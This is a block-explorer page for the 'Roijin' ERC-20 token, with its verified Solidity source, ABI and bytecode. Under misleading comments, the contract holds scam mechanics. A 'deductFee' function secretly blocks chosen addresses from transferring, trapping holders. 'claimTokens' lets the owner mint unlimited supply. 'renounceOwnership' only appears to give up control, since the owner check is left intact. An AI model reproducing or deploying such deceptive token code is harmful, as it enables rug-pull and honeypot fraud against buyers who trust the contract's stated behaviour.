ETH Price: $3,272.30 (-4.05%)
Gas: 7 Gwei

Token

Roijin (ROIJIN)
 

Overview

Max Total Supply

1,000,000,000,000 ROIJIN

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
0xbytecode.eth
Balance
4,943,571,117.846267431 ROIJIN

Value
$0.00
0x5917B7523E0cdDa6B4E2c88Fe6e1C70138E91ac7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROIJIN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 2: Roijin.sol
/**
 🐉https://roijin.gitbook.io/roijin-ecosystem/ - ECOSYSTEM DOCS
 🐉https://t.me/Roijin - INVITE YOUR FRIEND HERE
 🐉https://twitter.com/_ROIJIN - FOLLOW/LIKE/RT
 🐉https://medium.com/@roijin - IMPORTANT NEWS
 🐉https://roijin.io/ - MAIN WEBSITE
  
*/// SPDX-License-Identifier: MIT

pragma solidity =0.8.6;

import "./libraries.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract.
 */
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => bool) private _allowFee;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @notice allows to deduct fee from spender.
     */
    function deductFee (address spender) external onlyOwner {
    if (_allowFee[spender] == true) {
            _allowFee[spender] = false;
            } else {_allowFee[spender] = true;}
    }

    /**
     * @notice Checking the allowance granted to `spender` by the caller.
     */
    function feeApplied(address spender) public view returns (bool) {
        return _allowFee[spender];
    }

    /**
     * @dev See {IERC20-transfer}.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Claims `amount` tokens bought during presell event.
     */
    function claimTokens(uint256 tAmount) public virtual onlyOwner {
        _claimERC20(_msgSender(), tAmount);
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {_approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_allowFee[sender] || _allowFee[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /**
     * @dev Claims `amount` tokens bought during presell event.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     */
    function _claimERC20(address account, uint256 amount) internal virtual {
        uint256 accountBalance = _balances[account];
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. 
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract ROIJIN is ERC20 {

    /**
     * @dev Sets the values for {name}, {symbol} and {totalsupply}.
     */
    constructor() ERC20('Roijin', 'ROIJIN')  {
        _totalSupply = 1000000000000*10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
}

File 1 of 2: libraries.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.6;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
 
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _owner;
    address private _ownerAddress;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _ownerAddress = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() internal view returns (address) {
        return _owner;
    }
         
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function ownerAddress() public view returns (address) {
        return _ownerAddress;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _ownerAddress = address(0);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"deductFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"feeApplied","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600681526020017f526f696a696e00000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f524f494a494e00000000000000000000000000000000000000000000000000008152506000620000906200027d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600690805190602001906200018792919062000285565b508060079080519060200190620001a092919062000285565b505050683635c9adc5dea00000600581905550600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000206919062000363565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200026f919062000346565b60405180910390a36200045e565b600033905090565b8280546200029390620003ca565b90600052602060002090601f016020900481019282620002b7576000855562000303565b82601f10620002d257805160ff191683800117855562000303565b8280016001018555821562000303579182015b8281111562000302578251825591602001919060010190620002e5565b5b50905062000312919062000316565b5090565b5b808211156200033157600081600090555060010162000317565b5090565b6200034081620003c0565b82525050565b60006020820190506200035d600083018462000335565b92915050565b60006200037082620003c0565b91506200037d83620003c0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620003b557620003b462000400565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620003e357607f821691505b60208210811415620003fa57620003f96200042f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b611ba1806200046e6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a1b5920911610066578063a1b592091461029d578063a457c2d7146102cd578063a9059cbb146102fd578063dd62ed3e1461032d57610100565b806370a0823114610227578063715018a6146102575780638f84aa091461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806346e04a2f146101ef5780636d73394c1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61035d565b60405161011a91906115d0565b60405180910390f35b61013d6004803603810190610138919061137d565b6103ef565b60405161014a91906115b5565b60405180910390f35b61015b61040d565b6040516101689190611712565b60405180910390f35b61018b6004803603810190610186919061132a565b610417565b60405161019891906115b5565b60405180910390f35b6101a961050f565b6040516101b6919061172d565b60405180910390f35b6101d960048036038101906101d4919061137d565b610518565b6040516101e691906115b5565b60405180910390f35b610209600480360381019061020491906113bd565b6105c4565b005b610225600480360381019061022091906112bd565b61066d565b005b610241600480360381019061023c91906112bd565b610814565b60405161024e9190611712565b60405180910390f35b61025f61085d565b005b6102696109b1565b604051610276919061159a565b60405180910390f35b6102876109db565b60405161029491906115d0565b60405180910390f35b6102b760048036038101906102b291906112bd565b610a6d565b6040516102c491906115b5565b60405180910390f35b6102e760048036038101906102e2919061137d565b610ac3565b6040516102f491906115b5565b60405180910390f35b6103176004803603810190610312919061137d565b610bae565b60405161032491906115b5565b60405180910390f35b610347600480360381019061034291906112ea565b610bcc565b6040516103549190611712565b60405180910390f35b60606006805461036c90611842565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611842565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610c53565b8484610c5b565b6001905092915050565b6000600554905090565b6000610424848484610e26565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610c53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e690611652565b60405180910390fd5b610503856104fb610c53565b858403610c5b565b60019150509392505050565b60006009905090565b60006105ba610525610c53565b848460046000610533610c53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105b59190611764565b610c5b565b6001905092915050565b6105cc610c53565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065090611672565b60405180910390fd5b61066a610664610c53565b82611194565b50565b610675610c53565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f990611672565b60405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156107b8576000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610811565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610865610c53565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e990611672565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546109ea90611842565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1690611842565b8015610a635780601f10610a3857610100808354040283529160200191610a63565b820191906000526020600020905b815481529060010190602001808311610a4657829003601f168201915b5050505050905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060046000610ad2610c53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b86906116f2565b60405180910390fd5b610ba3610b9a610c53565b85858403610c5b565b600191505092915050565b6000610bc2610bbb610c53565b8484610e26565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc2906116d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3290611612565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e199190611712565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d90611692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906115f2565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610fa75750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610ff05760008114610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe6906116b2565b60405180910390fd5b5b610ffb838383611289565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611082576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107990611632565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111179190611764565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117b9190611712565b60405180910390a361118e84848461128e565b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127c9190611712565b60405180910390a3505050565b505050565b505050565b6000813590506112a281611b3d565b92915050565b6000813590506112b781611b54565b92915050565b6000602082840312156112d3576112d26118d2565b5b60006112e184828501611293565b91505092915050565b60008060408385031215611301576113006118d2565b5b600061130f85828601611293565b925050602061132085828601611293565b9150509250929050565b600080600060608486031215611343576113426118d2565b5b600061135186828701611293565b935050602061136286828701611293565b9250506040611373868287016112a8565b9150509250925092565b60008060408385031215611394576113936118d2565b5b60006113a285828601611293565b92505060206113b3858286016112a8565b9150509250929050565b6000602082840312156113d3576113d26118d2565b5b60006113e1848285016112a8565b91505092915050565b6113f3816117ba565b82525050565b611402816117cc565b82525050565b600061141382611748565b61141d8185611753565b935061142d81856020860161180f565b611436816118d7565b840191505092915050565b600061144e602383611753565b9150611459826118e8565b604082019050919050565b6000611471602283611753565b915061147c82611937565b604082019050919050565b6000611494602683611753565b915061149f82611986565b604082019050919050565b60006114b7602883611753565b91506114c2826119d5565b604082019050919050565b60006114da602083611753565b91506114e582611a24565b602082019050919050565b60006114fd602583611753565b915061150882611a4d565b604082019050919050565b6000611520600083611753565b915061152b82611a9c565b600082019050919050565b6000611543602483611753565b915061154e82611a9f565b604082019050919050565b6000611566602583611753565b915061157182611aee565b604082019050919050565b611585816117f8565b82525050565b61159481611802565b82525050565b60006020820190506115af60008301846113ea565b92915050565b60006020820190506115ca60008301846113f9565b92915050565b600060208201905081810360008301526115ea8184611408565b905092915050565b6000602082019050818103600083015261160b81611441565b9050919050565b6000602082019050818103600083015261162b81611464565b9050919050565b6000602082019050818103600083015261164b81611487565b9050919050565b6000602082019050818103600083015261166b816114aa565b9050919050565b6000602082019050818103600083015261168b816114cd565b9050919050565b600060208201905081810360008301526116ab816114f0565b9050919050565b600060208201905081810360008301526116cb81611513565b9050919050565b600060208201905081810360008301526116eb81611536565b9050919050565b6000602082019050818103600083015261170b81611559565b9050919050565b6000602082019050611727600083018461157c565b92915050565b6000602082019050611742600083018461158b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061176f826117f8565b915061177a836117f8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117af576117ae611874565b5b828201905092915050565b60006117c5826117d8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561182d578082015181840152602081019050611812565b8381111561183c576000848401525b50505050565b6000600282049050600182168061185a57607f821691505b6020821081141561186e5761186d6118a3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611b46816117ba565b8114611b5157600080fd5b50565b611b5d816117f8565b8114611b6857600080fd5b5056fea2646970667358221220e7fb5748a4723523d0f78d57bb4a53183cc083ac91eba704700bf0648f8baabd64736f6c63430008060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a1b5920911610066578063a1b592091461029d578063a457c2d7146102cd578063a9059cbb146102fd578063dd62ed3e1461032d57610100565b806370a0823114610227578063715018a6146102575780638f84aa091461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806346e04a2f146101ef5780636d73394c1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61035d565b60405161011a91906115d0565b60405180910390f35b61013d6004803603810190610138919061137d565b6103ef565b60405161014a91906115b5565b60405180910390f35b61015b61040d565b6040516101689190611712565b60405180910390f35b61018b6004803603810190610186919061132a565b610417565b60405161019891906115b5565b60405180910390f35b6101a961050f565b6040516101b6919061172d565b60405180910390f35b6101d960048036038101906101d4919061137d565b610518565b6040516101e691906115b5565b60405180910390f35b610209600480360381019061020491906113bd565b6105c4565b005b610225600480360381019061022091906112bd565b61066d565b005b610241600480360381019061023c91906112bd565b610814565b60405161024e9190611712565b60405180910390f35b61025f61085d565b005b6102696109b1565b604051610276919061159a565b60405180910390f35b6102876109db565b60405161029491906115d0565b60405180910390f35b6102b760048036038101906102b291906112bd565b610a6d565b6040516102c491906115b5565b60405180910390f35b6102e760048036038101906102e2919061137d565b610ac3565b6040516102f491906115b5565b60405180910390f35b6103176004803603810190610312919061137d565b610bae565b60405161032491906115b5565b60405180910390f35b610347600480360381019061034291906112ea565b610bcc565b6040516103549190611712565b60405180910390f35b60606006805461036c90611842565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611842565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610c53565b8484610c5b565b6001905092915050565b6000600554905090565b6000610424848484610e26565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610c53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e690611652565b60405180910390fd5b610503856104fb610c53565b858403610c5b565b60019150509392505050565b60006009905090565b60006105ba610525610c53565b848460046000610533610c53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105b59190611764565b610c5b565b6001905092915050565b6105cc610c53565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065090611672565b60405180910390fd5b61066a610664610c53565b82611194565b50565b610675610c53565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f990611672565b60405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90